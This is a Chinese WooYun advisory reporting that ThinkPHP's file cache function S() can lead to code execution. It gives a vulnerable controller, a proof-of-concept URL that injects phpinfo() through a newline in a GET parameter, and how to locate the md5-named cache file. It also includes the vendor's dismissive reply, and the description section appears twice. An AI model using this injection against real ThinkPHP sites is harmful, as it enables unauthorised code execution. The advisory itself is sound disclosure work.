当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101728

漏洞标题:ThinkPHP某处设计缺陷可导致getshell

相关厂商:ThinkPHP

漏洞作者: zcy

提交时间:2015-03-16 23:07

修复时间:2015-06-15 17:19

公开时间:2015-06-15 17:19

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-16: 细节已通知厂商并且等待厂商处理中
2015-03-17: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-11: 细节向核心白帽子及相关领域专家公开
2015-05-21: 细节向普通白帽子公开
2015-05-31: 细节向实习白帽子公开
2015-06-15: 细节向公众公开

简要描述:

ThinkPHP某处设计缺陷可导致getshell

详细说明:

thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
if (!S('aaaaa')) {
S('aaaaa',$_GET['w']);
echo 'cache ok';
}

}
}
?>


判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。
浏览器中访问

http://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;//


QQ20150316-1.png


缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5.

QQ20150316-2.png


成功执行phpinfo

QQ20150316-3.png


漏洞证明:

thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
if (!S('aaaaa')) {
S('aaaaa',$_GET['w']);
echo 'cache ok';
}

}
}
?>


判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。
浏览器中访问

http://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;//


QQ20150316-1.png


缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5.

QQ20150316-2.png


成功执行phpinfo

QQ20150316-3.png


修复方案:

设置缓存文件的访问权限

版权声明:转载请注明来源 zcy@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-15 17:19

厂商回复:

最新的版本支持设置 DATA_CACHE_KEY 参数后,可以避免文件名被猜测到,而且官方的安全部署建议是部署到非WEB访问目录,再说runtime目录也是可以定义的。

最新状态:

暂无